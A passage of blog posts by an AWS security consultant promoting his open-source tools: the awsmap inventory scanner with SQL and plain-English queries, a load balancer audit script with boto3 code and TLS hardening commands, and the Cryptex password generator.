Prompt injection in production. Tool-use boundaries. AI-specific IAM: what happens when your agent has an over-permissioned role (same thing as any over-permissioned identity, except the attack surface now includes natural language).

Chapter 7: Compliance

CIS, SOC 2, ISO 27001: mapped to specific AWS controls and Config rules. What auditors ask. How to have the answer ready.

Chapter 8: Action Plan

What to fix this week. What to fix this month. What to fix this quarter. Prioritized.

Quick overview

| | |
|---------------------------|-----------------------|
| Chapters | 8 |
| Security controls | 50+ |
| Architecture diagrams | 4 |
| Real-world case studies | 14 |
| Price | Free |
| Email required | No |

Companion resource

I also published 54 AWS Security Cards: one per service, with attack vectors, misconfigurations, CLI commands, and detection indicators. The whitepaper is the strategy. The cards are the per-service reference.

tocconsulting.fr/security-cards

I Just Became an AWS Community Builder … And I Owe It to You

Tarek CHEIKH — Fri, 06 Mar 2026 12:54:32 +0000

A thank you to my readers, and a call to support open source AWS tools

A few days ago, I received an email that made my day: I’ve been selected as an AWS Community Builder.

For those unfamiliar, the AWS Community Builders program (https://aws.amazon.com/developer/community/community-builders/) recognizes passionate technologists who share knowledge, create content, and contribute to the AWS ecosystem. It’s a recognition from AWS itself that your work matters and honestly, it’s a recognition I’m really proud of.

But here’s the thing: I didn’t get here alone. You did this.

Thank You

Every article you’ve read. Every clap you’ve given. Every comment, every share, every “this helped me” message … it all added up. When I started writing on Medium about AWS security, cloud architecture, and open source tools, I wasn’t sure anyone would care. Turns out, you did.

To every single one of you who took the time to read my posts, try my tools, or just follow along: thank you. This AWS Community Builder badge belongs to all of us.

What I’ve Been Building

Over the past years, I’ve been pouring my evenings and weekends into open source projects designed to help AWS practitioners like you. These tools solve real problems I’ve encountered across 50+ production AWS projects:

awsmap

Map Your Entire AWS Account in Minutes. A fast, comprehensive tool for mapping and inventorying AWS resources across 150+ services and all regions. Stop wondering what’s running in your account.

Github : https://github.com/TocConsulting/awsmap

s3-security-scanner

Comprehensive S3 Security Auditing. A full-fledged S3 security scanner with compliance mapping for CIS, PCI-DSS, HIPAA, SOC 2, ISO & GDPR. Know exactly where your S3 buckets stand.

Github : https://github.com/TocConsulting/s3-security-scanner

iam-activity-tracker

Serverless IAM Monitoring. A serverless solution for tracking and auditing IAM, STS, and AWS Console sign-in activities across all regions with real-time alerts.

Github : https://github.com/TocConsulting/iam-activity-tracker

cryptex

Enterprise-Grade Password Generator. A CLI password generator with AWS Secrets Manager, HashiCorp Vault, and OS Keychain integrations. Stop using _openssl rand_ for everything.

Github : https://github.com/TocConsulting/cryptex

cognito-api

Authentication Made Simple. A secure user authentication system using AWS Cognito + Terraform. Production-ready auth without the headaches.

Github : https://github.com/TocConsulting/cognito-api

aws-helper-scripts

Security & Cost Optimization Toolkit. A comprehensive collection of scripts for AWS security auditing and cost optimization. The Swiss Army knife for your AWS account.

Github : https://github.com/TocConsulting/aws-helper-scripts

small-file-sharing

Serverless File Sharing. A lightweight file sharing app built with AWS Lambda + S3. Simple, secure, serverless.

Github : https://github.com/TocConsulting/small-file-sharing

Why Stars Matter (More Than You Think)

I know, “give me stars” sounds like a vanity ask. But here’s the reality of open source:

Stars = Visibility. GitHub’s algorithm surfaces starred repos. More stars mean more developers discover these tools.
Stars = Trust. When an engineer evaluates a tool, star count is one of the first signals they check. A well-starred project gets adopted. An unknown one gets skipped.
Stars = Motivation. Open source is unpaid labor. Every star is a signal that someone found value in the work. It keeps builders going.

These tools are free, open source, and actively maintained. If any of them have helped you or if you believe in making AWS security accessible, a star takes 2 seconds and makes a real difference.

How You Can Help

It takes literally 2 seconds:

Visit https://github.com/TocConsulting
Click the star on any repo that interests you
That’s it. Seriously.

Bonus points:

Share a repo with a colleague who works with AWS

Try one of the tools and open an issue or PR

Follow TocConsulting (https://github.com/TocConsulting) on GitHub for new releases

What’s Next

Being an AWS Community Builder opens new doors, more access, more collaboration, more ways to give back. I’m doubling down on:

Publishing more AWS security content
Building new open source tools
Speaking at more community events
Connecting with other builders worldwide

This is just the beginning, and I’m grateful you’re part of the journey.

Thank you for reading. Thank you for your support. And thank you for being part of this community.

Let’s build something great together.

Tarek CHEIKH

AWS Community Builder | Founder Toc Consulting (https://tocconsulting.fr)*)

awsmap v1.5.0: Your AWS Inventory Now Has a Brain

Tarek CHEIKH — Thu, 26 Feb 2026 21:15:43 +0000

A few weeks ago I published awsmap. Scan your AWS account. 140 services. One command.

2,300 pip installs. 650 Docker pulls. 35 GitHub stars. Two pull requests from strangers. A few comments. Some feature requests. People were actually using it.

So I kept building. This is v1.5.0.

New Report

The HTML report got rebuilt from the ground up. The design now follows the Cloudscape design system, same design language used by the AWS Console.

Dashboard cards. Top services chart. Top regions chart. Region-coded badges, blue for us-*, green for eu-*, orange for ap-*. Dark mode. Global search across every resource. Filter by service, region, or tag. Click an ARN, it copies. Click a tag badge, it expands. Export the filtered view to CSV. Print it.

Still a single HTML file. No dependencies. Open it in any browser, share it on Slack, attach it to a ticket.

Everything Goes to SQLite

This is the biggest change in v1.5.0.

Every time you scan, every resource goes into a local SQLite database. Automatically. No setup. No config.

~/.awsmap/inventory.db

Scan again next week, both scans are stored. Scan a different account, same database. You’re building an inventory history without trying.

Why does this matter? Because the scan is no longer a one-shot event. The data lives. You can query it tomorrow, next week, next month.

Don’t want the database? -- **_no-db_** skips it. You still get your HTML/JSON/CSV report, same as before. Nothing breaks.

awsmap query

New command. Raw SQL against your inventory.

awsmap query "SELECT service, COUNT(*) as count FROM resources GROUP BY service ORDER BY count DESC"

service count
------------- -----
vpc 1047
iam 842
lambda 631
logs 551

Want JSON? **_-f json_**. CSV? - **_f csv_**. Pipe it. Script it. Cron it.

awsmap query "SELECT * FROM resources WHERE service='lambda'" -f json
awsmap query "SELECT service, id, name FROM resources" -f csv

But I realized something. Most people don’t want to write SQL.

Pre-Built Queries

Security audit Monday morning. You need to know which IAM users have admin permissions. Including users who get admin through group membership. That’s a self-join with EXISTS subqueries. Nobody wants to type that.

So awsmap ships 30 pre-built queries. One flag:

awsmap query -n admin-users

name account_id mfa groups admin_source
--------- ------------ --- ------------ ------------
tarek-adm 012345678912 0 ["adminGrp"] DIRECT
tarek 012345678912 0 ["adminGrp"] VIA GROUP
tarek 000011112222 1 [] DIRECT

That tells you which users have admin directly and which get it through group membership. No MFA on an admin account? That’s a finding.

Security

awsmap query -n admin-users
awsmap query -n admin-roles
awsmap query -n users-without-mfa
awsmap query -n iam-inactive-users
awsmap query -n old-access-keys
awsmap query -n cross-account-roles
awsmap query -n open-security-groups
awsmap query -n secrets-no-rotation

s3

awsmap query -n public-s3-buckets
awsmap query -n encryption-status
awsmap query -n s3-no-versioning
awsmap query -n s3-no-logging

EC2 / EBS

awsmap query -n stopped-instances
awsmap query -n unused-volumes
awsmap query -n ebs-unencrypted
awsmap query -n unused-eips
awsmap query -n default-vpcs

RDS

awsmap query -n rds-public
awsmap query -n rds-unencrypted
awsmap query -n rds-no-multi-az
awsmap query -n rds-engines

Lambda & Inventory

awsmap query -n lambda-runtimes
awsmap query -n lambda-high-memory
awsmap query -n resources-by-service
awsmap query -n resources-by-region
awsmap query -n resources-by-account
awsmap query -n resources-per-account-service

Tags & Compliance

awsmap query -n untagged-resources
awsmap query -n missing-tag -P tag=Environment
awsmap query -n resources-by-tag -P tag=Owner

List them all with awsmap query — list. See the SQL behind any query with **_awsmap query -n admin-users_**.

You can add your own. Drop a **_.sql_** file in **_~/.awsmap/queries/_** and it shows up in the list.

awsmap ask

Some people don’t want SQL at all. They want to ask a question in English.

awsmap ask how many Lambda functions per region

region count
------------- -----
eu-west-1 45
us-east-1 32
eu-central-1 12

awsmap translates your question to SQL using a built-in zero-dependency parser. Everything runs on your machine. No API keys. No cloud calls. Your data stays on your laptop.

awsmap ask show me all EC2 instances without Owner tag
awsmap ask which S3 buckets are in eu-west-1
awsmap ask find IAM users without MFA
awsmap ask count RDS instances using mysql per region
awsmap ask show me my databases
awsmap ask show me secrets older than 90 days

Why Not Use an LLM?

I tried. Ollama with local models gave ~80% accuracy. One in five queries returned wrong SQL. OpenAI and Anthropic APIs were better but cost money and require network.

So I built a deterministic parser from scratch. Zero dependencies. Tested against 1500 realistic questions with 100% pass rate. It handles:

Synonyms : “databases” finds RDS, “containers” finds ECS, “certs” finds ACM
Typo tolerance : “lamda” matches Lambda, “instaces” matches instances
Engine patterns : “RDS using postgres”, “ElastiCache using redis”
Numeric fields : “with allocated_storage greater than 50”, “with iops greater than 3000”
Relative time : “created in the last 30 days”, “older than 90 days”
Keyword-value : “with storage type gp3”, “with scheduling strategy REPLICA”

No API keys. No network. No cost. Instant results.

awsmap examples

1381 pre-built questions, organized by service. Browse them, search them, run them.

# List all services with question counts
awsmap examples

# Browse questions for a service
awsmap examples lambda

# Run question #5 directly
awsmap examples lambda 5

# Search across everything
awsmap examples --search "public"
awsmap examples --search "encryption"

You don’t have to memorize the query syntax. Just browse and pick.

awsmap config

Set persistent defaults so you stop repeating flags.

awsmap config set profile production
awsmap config set regions us-east-1,eu-west-1
awsmap config set exclude_defaults true

# Now just run:
awsmap
# Equivalent to: awsmap -p production -r us-east-1,eu-west-1 --exclude-defaults

Available keys: **_profile_**, **_regions_**, **_services_**, **_format_**, **workers**, **_exclude\_defaults_**, **db**, **_query\_format_**. CLI flags always override config.

Multi-Account

In Part 1, awsmap scanned one account at a time. Now it scans many and stores them in the same database.

awsmap -p production
awsmap -p staging
awsmap -p dev

Three scans. One database. Query across all of them:

awsmap query -n resources-by-account
awsmap ask how many resources per account

Or scope to one:

awsmap query -n admin-users -a production
awsmap ask -a staging show me all Lambda functions

Tag Filtering

You tag your AWS resources. Now you can scan by tags.

awsmap -p prod -t Owner=John -t Environment=Production

Same key = OR logic. Different keys = AND logic. So **_-t Owner=John -t Owner=Jane -t Environment=Production_** returns resources where Owner is John OR Jane, AND Environment is Production.

Typo Protection

Small thing, big time saver.

$ awsmap -s labda
Error: Unknown service 'labda'. Did you mean: lambda?

$ awsmap -r eu-wst-1
Error: Unknown region 'eu-wst-1'. Did you mean: eu-west-1?

No more silent failures from mistyped service names. awsmap validates against real AWS service names and regions before making a single API call.

Default Resource Filtering

Every AWS account has default VPCs, default security groups, default route tables, default NACLs in every region. They clutter every inventory report.

awsmap -p prod --exclude-defaults

When you don’t use the flag, defaults are still collected but marked with a “DEFAULT” badge in the HTML report so you can tell them apart.

Quick Reference

| What | Command |
|-------------------|-----------------------------------------| 
| Full scan | `awsmap -p profile` |
| Specific services | `awsmap -p profile -s ec2,rds,lambda` |
| Filter by tags | `awsmap -p profile -t Owner=DevOps` |
| Exclude defaults | `awsmap -p profile --exclude-defaults` |
| SQL query | `awsmap query "SELECT ..."` |
| Named query | `awsmap query -n admin-users` |
| List queries | `awsmap query --list` |
| Ask in English | `awsmap ask how many Lambda per region` |
| Browse examples | `awsmap examples lambda` |
| Run example | `awsmap examples lambda 5` |
| Set config | `awsmap config set profile production` |
| Scope to account | `awsmap query -n admin-users -a prod` |

Upgrade

pip install --upgrade awsmap

docker pull tarekcheikh/awsmap

Links

GitHub: https://github.com/TocConsulting/awsmap

PyPI: https://pypi.org/project/awsmap/

Docker: https://hub.docker.com/r/tarekcheikh/awsmap

Part 1: https://aws.plainenglish.io/awsmap-find-everything-running-in-your-aws-account-3294c5326baa

awsmap — Find Everything Running in Your AWS Account

Tarek CHEIKH — Sun, 01 Feb 2026 21:13:43 +0000

awsmap , Find Everything Running in Your AWS Account

We’ve all been there.

New gig. You inherit an AWS account. Manager asks: “What do we have running?”

“Use AWS Config,” someone says. Great. Except it costs money per resource recorded, needs setup, and doesn’t even cover half the services. Also it’s been disabled since 2019.

So you open the console. EC2. Click. us-east-1. 12 instances. Click back. us-east-2. 3 instances. Click back. us-west-1. Empty. Click back. us-west-2…

Repeat for 17 regions. Then do RDS. Then Lambda. Then ECS. Then the 130 other services.

Three days later you have a spreadsheet, zero confidence, and a NAT Gateway in af-south-1 that’s been running for 18 months. Nobody knew. $720 down the drain.

There had to be a better way. So I wrote one.

What’s awsmap?

A CLI that scans your AWS account. All of it. Fast.

pip install awsmap

Then:

awsmap -p my-profile

140 services. 17 regions. One command. About 130 seconds.

You get an HTML report. Search, filter, dark mode. Click an ARN, it copies.

Nothing revolutionary so far. Here’s where it gets useful.

The Audit Problem

Security team asks: “List all your EC2 instances, RDS databases, and Lambda functions.”

Old way: Three different CLI commands. Parse JSON. Merge results. Format for humans. Probably miss a region.

awsmap -p prod --services ec2,rds,lambda -o audit.html

Done. All three services. All regions. One file.

The Cost Problem

$18,000 bill. “What’s eating our money?”

awsmap -p prod --services ec2,rds,elasticache,opensearch,eks

Found 12 r5.4xlarge in ap-southeast-2. Nobody knew. That’s $9,000/month right there.

The Regions Problem

“We only use us-east-1 and eu-west-1.”

You sure?

awsmap -p prod

Found S3 buckets in ap-northeast-1. CloudWatch log groups in sa-east-1. A VPC in me-south-1 with a NAT Gateway attached.

You don’t use those regions. AWS services do. They create stuff everywhere.

Output

HTML too fancy?

awsmap -p my-profile -f json -o inventory.json

CSV for the spreadsheet people?

awsmap -p my-profile -f csv -o inventory.csv

Docker

Don’t want pip? Fair.

docker run -v ~/.aws:/root/.aws:ro tarekcheikh/awsmap -p my-profile

Works on Intel and ARM.

What It Scans

140+ services. EC2, Lambda, RDS, S3, ECS, EKS, DynamoDB, ElastiCache, IAM, KMS, Secrets Manager, CloudFront, Route53, API Gateway, SQS, SNS, Kinesis, Glue, Athena, Redshift, OpenSearch, SageMaker, Bedrock…

You get the idea.

What It Doesn’t Do

It’s read-only. List, Describe, Get. That’s it.

Can’t create. Can’t modify. Can’t delete. Can’t read your S3 files or database contents.

Minimum IAM: ViewOnlyAccess.

awsmap vs AWS Resource Explorer

Following a great comment from Jesse Farinacci , thank you Jesse! , I decided to add this section.

Fair question: why not just use AWS Resource Explorer? It’s free, it’s official, it has Organizations support. Here’s why awsmap still exists:

Eventual consistency is a dealbreaker for many use cases. Per AWS documentation, Resource Explorer changes are “visible within minutes” in most cases, but “in some cases, modifications or deletions may take up to two weeks to be visible.” awsmap queries APIs directly , you get real-time state. For security audits or incident response, that distinction matters.

Portable reports. awsmap generates self-contained HTML/JSON/CSV files you can share via Slack, archive in Git, open offline, or hand to auditors. Resource Explorer is console-bound , no easy way to export a full inventory snapshot.

CLI-first automation. awsmap -f json -o inventory.json in a cron job, Lambda, or CI/CD pipeline. Resource Explorer requires console access or building around their search API.

IAM tag limitation. AWS docs explicitly state that tags attached to IAM resources (roles, users) can’t be used for searching in Resource Explorer. awsmap supports full tag filtering on all resources with OR/AND logic.

Zero setup. pip install awsmap && awsmap gives you results in 2 minutes. Resource Explorer can take up to 36 hours for initial indexing and replication to complete.

Detailed configs. awsmap captures encryption settings, versioning status, security group rules , not just resource ARNs and basic metadata.

Different tools for different workflows: Resource Explorer is great for quick “find resource X” lookups in the console. awsmap is for complete, portable, real-time infrastructure snapshots you can automate and archive.

Quick Reference

| What you need | Command |
|-------------------|--------------------------------------------|
| Full scan | `awsmap -p profile` |
| Save HTML | `awsmap -p profile -o report.html` |
| Save JSON | `awsmap -p profile -f json -o report.json` |
| Specific services | `awsmap -p profile --services ec2,rds` |
| Specific regions | `awsmap -p profile --regions us-east-1` |
| Show timings | `awsmap -p profile --timings` |

pip install awsmap

docker pull tarekcheikh/awsmap

That’s it. No more clicking through the console.

Episode 5: Load Balancer Security Auditor — SSL, Protocols, and Public Exposure

Tarek CHEIKH — Thu, 29 Jan 2026 20:04:07 +0000

Episode 5: Load Balancer Security Auditor — SSL, Protocols, and Public Exposure

Stop manually clicking through the AWS console to check if your load balancers are leaking traffic.

The Problem

You have 20 load balancers across 3 AWS accounts. Security audit next week.

Old way: Open console. Click each load balancer. Check listeners. Check if it’s public. Check SSL policy. Repeat 20 times. Miss one. Get flagged in the audit.

I got tired of this. So I built a tool that scans everything in one command.

Quick Start

git clone https://github.com/TocConsulting/aws-helper-scripts.git
cd aws-helper-scripts/elb-audit
python3 elb_audit_cli.py --all-regions

Done. Every load balancer. Every region. Security issues flagged.

AWS Load Balancer Types — The 30-Second Version

AWS has three types. You probably have all three.

Classic Load Balancer (CLB)

The 2009 original. Still works. AWS wants you to migrate off it.

aws elb describe-load-balancers # Note: 'elb' not 'elbv2'

Application Load Balancer (ALB)

The 2016 upgrade. Smart routing based on URLs, headers, paths. Use this for web apps.

aws elbv2 describe-load-balancers # Note: 'elbv2'

Network Load Balancer (NLB)

The 2017 speed demon. Millions of requests per second. Use this for raw TCP/UDP traffic.

aws elbv2 describe-load-balancers # Same API as ALB

The confusing part : Classic uses **_aws elb_**. ALB and NLB both use **_aws elbv2_**. Don’t mix them up.

Layer 4 vs Layer 7 — What Does This Actually Mean?

You’ll see “Layer 4” and “Layer 7” everywhere. Here’s what they actually see.

The complete flow — step by step:

Step 1: Client → Load Balancer (Public Internet)

| Field | Value |
|-------------|----------------------------------------------|
| Source | `203.0.113.50:52431` (client public IP) |
| Destination | `52.94.123.45:443` (load balancer public IP) |
| Traffic | HTTPS encrypted |

Layer 4 (NLB) sees: IP addresses + ports only. Can’t read anything inside.

Step 2: SSL Termination (at Load Balancer)

Load balancer decrypts the HTTPS traffic using your SSL certificate. Now it can read:

GET /api/users HTTP/1.1
Host: api.company.com
Authorization: Bearer eyJhbGc...
Cookie: session=xyz789

Layer 7 (ALB) sees: Full HTTP request. URLs, headers, cookies. Smart routing possible.

Layer 4 (NLB) still sees: Just TCP packets. Forwards blindly.

Step 3: Load Balancer → EC2 (Private Network)

| Field | Value |
|-------------|--------------------------------------------|
| Source | `10.0.0.50` (load balancer private IP) |
| Destination | `10.0.1.100:8080` (EC2 private IP) |
| Traffic | HTTP clear text (or HTTPS if configured) |

ALB adds headers so your app knows the real client:

| Header | Value | Purpose |
|--------|------------|-------------------------------------|
| `X-Forwarded-For` | `203.0.113.50` | Original client IP |
| `X-Forwarded-Proto` | `https` | Original protocol |
| `X-Forwarded-Port` | `443` | Original port |

What your EC2 application sees

TCP connection from : **_10.0.0.50_** (load balancer’s private IP)
Real client IP : Read **_X-Forwarded-For_** header → **_203.0.113.50_**

Security note : Traffic between load balancer and EC2 is often unencrypted HTTP inside your VPC. This is usually fine (VPC is isolated), but for sensitive data you can configure HTTPS to targets too.

The trade-off:

| | Layer 4 (NLB) | Layer 7 (ALB) |
|-----------------------|----------------------------------|--------------------------------|
| Speed | ~100,000 requests/sec per target | ~1,000 requests/sec per target |
| Latency | Microseconds | Milliseconds |
| Can route by URL | No | Yes |
| Can see HTTP headers | No | Yes |
| Can do authentication | No | Yes |
| Use for | Databases, gaming, IoT | Web apps, APIs, microservices |

Real example:

Your e-commerce site needs:

**_/api/\*_** → API servers
**_/images/\*_** → CDN
**/admin/\*** → Admin servers (with auth)

Layer 4 can’t do this. It just sees “port 443”. Layer 7 reads the URL and routes accordingly.

Rule of thumb : Web traffic → ALB. Everything else → NLB. Classic → migrate when you can.

Why This Matters for Security

Load balancers are your front door. Misconfigure them and nothing else matters.

HTTP on a public load balancer?

Anyone between your users and AWS can read the traffic. Passwords. Tokens. Everything.

User → [Attacker sniffing] → Your Load Balancer → Your App

Outdated TLS policy?

TLS 1.0 and 1.1 are broken. If your load balancer still accepts them, attackers can downgrade connections and decrypt traffic.

Internal app on internet-facing load balancer?

Your admin panel is now on the internet. Congrats.

What the Tool Checks

python3 elb_audit_cli.py --all-regions

Output:

================================================================================
Classic ELBs in us-east-1
================================================================================

Load Balancer: prod-web-elb (internet-facing)
Listeners:
 - HTTP 80 -> instance 80 ⚠️ Insecure (HTTP on port 80)
 - HTTPS 443 -> instance 80
⚠️ Publicly accessible ELB detected!

================================================================================
Application/Network Load Balancers (ALB/NLB) in us-east-1
================================================================================

Load Balancer: api-gateway-alb (Type: application, Scheme: internet-facing)
 - HTTPS port 443
   Target Group: api-servers (HTTP:8080)
     - Target: i-1234567890abcdef0, Health: healthy
     - Target: i-0987654321fedcba0, Health: unhealthy
⚠️ Publicly accessible ALB/NLB detected!

It flags:

HTTP listeners on public load balancers
Public exposure (internet-facing scheme)
Unhealthy targets (often indicates config drift)
Insecure ports (80, 8080, 8000, 3000 without HTTPS)

The Code That Does the Work

Checking Classic Load Balancers

def audit_classic_elbs(elb_client, region):
    """Audit Classic Load Balancers with security focus."""
    elbs = elb_client.describe_load_balancers()['LoadBalancerDescriptions']

    for elb in elbs:
        name = elb['LoadBalancerName']
        # 'Scheme' is 'internet-facing' or 'internal'
        public = elb.get('Scheme', '') == 'internet-facing'

        for listener in elb['ListenerDescriptions']:
            protocol = listener['Listener']['Protocol']
            port = listener['Listener']['LoadBalancerPort']

            # HTTP on port 80 + public = bad
            if protocol.upper() == 'HTTP' and public:
                print(f"⚠️ {name}: Public HTTP listener on port {port}")

Checking ALB/NLB

def audit_alb_nlb(elbv2_client, region):
    """Audit Application and Network Load Balancers."""
    lbs = elbv2_client.describe_load_balancers()['LoadBalancers']

    for lb in lbs:
        name = lb['LoadBalancerName']
        lb_type = lb['Type'] # 'application' or 'network'
        public = lb.get('Scheme') == 'internet-facing'

        # Get listeners for this load balancer
        listeners = elbv2_client.describe_listeners(
            LoadBalancerArn=lb['LoadBalancerArn']
        )['Listeners']

        for listener in listeners:
            protocol = listener.get('Protocol', '')
            port = listener.get('Port', 0)

            if protocol == 'HTTP' and public:
                print(f"⚠️ {name}: Public HTTP on port {port}")

Checking Target Health

Unhealthy targets often mean something changed. Sometimes that “something” breaks security too.

def check_target_health(elbv2_client, target_group_arn):
    """Check target health - unhealthy often means config drift."""
    response = elbv2_client.describe_target_health(
        TargetGroupArn=target_group_arn
    )

    for target in response['TargetHealthDescriptions']:
        target_id = target['Target']['Id']
        state = target['TargetHealth']['State']

        if state != 'healthy':
            reason = target['TargetHealth'].get('Reason', 'Unknown')
            print(f" ⚠️ {target_id}: {state} ({reason})")

SSL/TLS — The Settings That Actually Matter

The Default is Bad

When you create an HTTPS listener via CLI without specifying a policy:

aws elbv2 create-listener --protocol HTTPS ...

You get **_ELBSecurityPolicy-2016–08_**. This enables TLS 1.0 and 1.1. Both are deprecated.

What to Use Instead

For ALB/NLB:

aws elbv2 create-listener \
  --load-balancer-arn $ALB_ARN \
  --protocol HTTPS \
  --port 443 \
  --ssl-policy ELBSecurityPolicy-TLS13-1-2-Res-2021-06 \
  --certificates CertificateArn=$CERT_ARN \
  --default-actions Type=forward,TargetGroupArn=$TG_ARN

**_ELBSecurityPolicy-TLS13–1–2-Res-2021–06_** = TLS 1.3 + TLS 1.2 only. No legacy junk.

For Classic Load Balancer:

aws elb set-load-balancer-policies-of-listener \
  --load-balancer-name my-elb \
  --load-balancer-port 443 \
  --policy-names ELBSecurityPolicy-TLS-1-2-2017-01

Redirect HTTP to HTTPS

ALB can do this automatically:

aws elbv2 create-listener \
  --load-balancer-arn $ALB_ARN \
  --protocol HTTP \
  --port 80 \
  --default-actions 'Type=redirect,RedirectConfig={Protocol=HTTPS,Port=443,StatusCode=HTTP_301}'

Classic Load Balancer can’t do redirects. You need to handle it in your app or migrate to ALB.

SSL Certificate Checking

The tool also checks your certificates:

# Note: Requires Python 3.7+ for ssl.TLSVersion enum
def analyze_ssl_certificate(cert_arn, region):
    """Check certificate expiration and key strength."""
    acm = boto3.client('acm', region_name=region)
    cert = acm.describe_certificate(CertificateArn=cert_arn)['Certificate']

    # Expiration check
    expiry = cert.get('NotAfter')
    if expiry:
        days_left = (expiry.replace(tzinfo=None) - datetime.now()).days
        if days_left < 30:
            print(f"🔴 Certificate expires in {days_left} days!")
        elif days_left < 90:
            print(f"🟡 Certificate expires in {days_left} days")

    # Key strength check
    key_algo = cert.get('KeyAlgorithm', '')
    if key_algo == 'RSA-1024':
        print(f"🔴 Weak RSA-1024 key - use 2048+ bit")

Running Across All Regions

AWS has 33 commercial regions (plus GovCloud and China which need separate credentials).

# Scan all accessible regions
python3 elb_audit_cli.py --all-regions

# Scan specific region
python3 elb_audit_cli.py --region us-east-1

# Use specific AWS profile
python3 elb_audit_cli.py --profile production --all-regions

Parallel Scanning

Scanning 33 regions sequentially takes ~2 minutes. Parallel drops it to ~15 seconds.

# Default: 5 parallel workers
python3 elb_audit_cli.py --all-regions

# Faster: 10 workers
python3 elb_audit_cli.py --all-regions --max-workers 10

# Sequential (if you're debugging)
python3 elb_audit_cli.py --all-regions --no-parallel

Lambda Version for Continuous Monitoring

One-time scans find today’s problems. Scheduled scans catch tomorrow’s.

cd elb-audit-lambda
./deploy.sh

Runs daily. Sends SNS alerts when it finds:

New public HTTP listeners
Expiring certificates
New internet-facing load balancers

IAM Permissions Needed

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "elasticloadbalancing:DescribeLoadBalancers",
                "elasticloadbalancing:DescribeListeners",
                "elasticloadbalancing:DescribeTargetGroups",
                "elasticloadbalancing:DescribeTargetHealth",
                "acm:DescribeCertificate"
            ],
            "Resource": "*"
        }
    ]
}

Add **_sns:Publish_** if you want alerts.

Quick Reference

| What you need | Command |
|------------------|----------------------------------------------------------------------|
| Scan all regions | `python3 elb_audit_cli.py --all-regions` |
| Scan one region | `python3 elb_audit_cli.py --region us-east-1` |
| Use AWS profile | `python3 elb_audit_cli.py --profile prod --all-regions` |
| Faster scanning | `python3 elb_audit_cli.py --all-regions --max-workers 10` |
| With SNS alerts | `python3 elb_audit_cli.py --all-regions --sns-topic arn:aws:sns:...` |

Common Fixes

HTTP listener on public ALB:

# Add HTTPS listener
aws elbv2 create-listener \
  --load-balancer-arn $ALB_ARN \
  --protocol HTTPS --port 443 \
  --ssl-policy ELBSecurityPolicy-TLS13-1-2-Res-2021-06 \
  --certificates CertificateArn=$CERT_ARN \
  --default-actions Type=forward,TargetGroupArn=$TG_ARN

# Redirect HTTP to HTTPS
aws elbv2 create-listener \
  --load-balancer-arn $ALB_ARN \
  --protocol HTTP --port 80 \
  --default-actions 'Type=redirect,RedirectConfig={Protocol=HTTPS,Port=443,StatusCode=HTTP_301}'

Outdated TLS policy:

# Update ALB/NLB listener
aws elbv2 modify-listener \
  --listener-arn $LISTENER_ARN \
  --ssl-policy ELBSecurityPolicy-TLS13-1-2-Res-2021-06

# Update Classic ELB
aws elb set-load-balancer-policies-of-listener \
  --load-balancer-name $ELB_NAME \
  --load-balancer-port 443 \
  --policy-names ELBSecurityPolicy-TLS-1-2-2017-01

Coming Next

Episode 6 : DNS Security Validator — Subdomain Takeover & Email Spoofing.

Links

GitHub: https://github.com/TocConsulting/aws-helper-scripts
AWS ELB Security Policies: https://docs.aws.amazon.com/elasticloadbalancing/latest/application/describe-ssl-policies.html
AWS Classic ELB Policies: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-policy-table.html

git clone https://github.com/TocConsulting/aws-helper-scripts.git
cd aws-helper-scripts/elb-audit
python3 elb_audit_cli.py --all-regions

That’s it. No more clicking through the console.

If you found this useful, follow me for more AWS security automation content.

Cryptex — Because openssl rand -base64 32 Gets Old Fast

Tarek CHEIKH — Tue, 27 Jan 2026 01:11:44 +0000

Cryptex — Because openssl rand -base64 32 Gets Old Fast

We’ve all done it.

openssl rand -base64 32

Copy. Paste into .env. Repeat five times. Forget which one was for what. Curse. Start over.

Or worse — you’re in a hurry, so you type admin123 for local dev. Then six months later you find it in production. Don’t lie, it happened to at least one of us.

I got tired of this. So I built Cryptex.

What’s Cryptex?

A CLI that generates passwords. That’s it. But it does it properly.

pip install cryptex-cli

Then:

cryptex

You get a 16-character password. Uppercase, lowercase, numbers, special chars. Cryptographically secure (uses Python’s secrets , not random ).

Need longer?

cryptex -l 32

Need 10 of them?

cryptex -c 10

Nothing revolutionary so far. Here’s where it gets useful.

The .env Problem

New project. You need DATABASE_PASSWORD , REDIS_PASSWORD , JWT_SECRET , API_KEY , SESSION_SECRET.

Old way: Generate five passwords somewhere. Copy each one. Paste. Format. Probably mess up the quotes.

Done. Five passwords. Properly formatted. One command.

Compliance Templates

Security audit coming? Your passwords need to meet NIST 800–63B?

cryptex --template nist-800-63b

There’s also pci-dss , owasp , high-security , database (no quotes or backslashes), and wifi (easy to type on phones).

Saving Secrets

Here’s what really annoyed me before: generate a password, then manually go to AWS console, create a secret, paste it, go back to terminal…

Now:

cryptex -l 32 --save-aws --aws-secret-name "cryptex-prod/db-password" --aws-profile production
Cryptex - Enhanced Random Password Generator

h2mmG4%w2S*1od0F=<1X[AAO!k4gXiFO
Secret saved to AWS Secrets Manager: cryptex-prod/db-password

Generated and stored. No clipboard. No browser.

Same for Vault:

export VAULT_TOKEN='your-token'
cryptex -l 24 --save-vault --vault-path "secret/myapp/api-key"

And OS Keychain (macOS Keychain, GNOME Keyring, Windows Credential Manager):

cryptex -l 20 --save-keychain --keychain-service "MyApp" --keychain-account "admin"

API Keys

Need UUIDs?

cryptex -t api-key --api-format uuid
Cryptex - Enhanced Random Password Generator

02407a07-ff05-4078-ba0a-c478ff9e5f15

Hex?

cryptex -t api-key --api-format hex -l 40
Cryptex - Enhanced Random Password Generator

7f6bf256fa19c427ce44b5209e90d25f0568e98b

TOTP / 2FA

Adding two-factor auth to your app? You need to generate secrets for users.

cryptex --totp --totp-issuer "MyApp" --totp-account "user@example.com"

Generates a secret, shows a QR code right in your terminal. Users scan with Google Authenticator. Done.

WiFi Passwords

Guests at the office. You need to share WiFi without spelling **_xK9#mL2$vN7@_** over the phone.

cryptex --template wifi --qr

Easy-to-type password + QR code. They scan, they’re connected.

Quiet Mode

For scripts and CI/CD:

PASSWORD=$(cryptex -q -l 32)

No banner, no output. Just the password.

Password Analysis

Want to check what you’re generating?

cryptex -l 20 -v

Shows entropy, strength score, character breakdown. But what does it actually mean?

The Math Behind “Uncrackable”

That **_131.09 bits_** of entropy isn’t marketing fluff. Here’s the math.

Entropy = how many guesses to crack your password.

Each bit doubles the combinations. Your 20-character password with all character types:

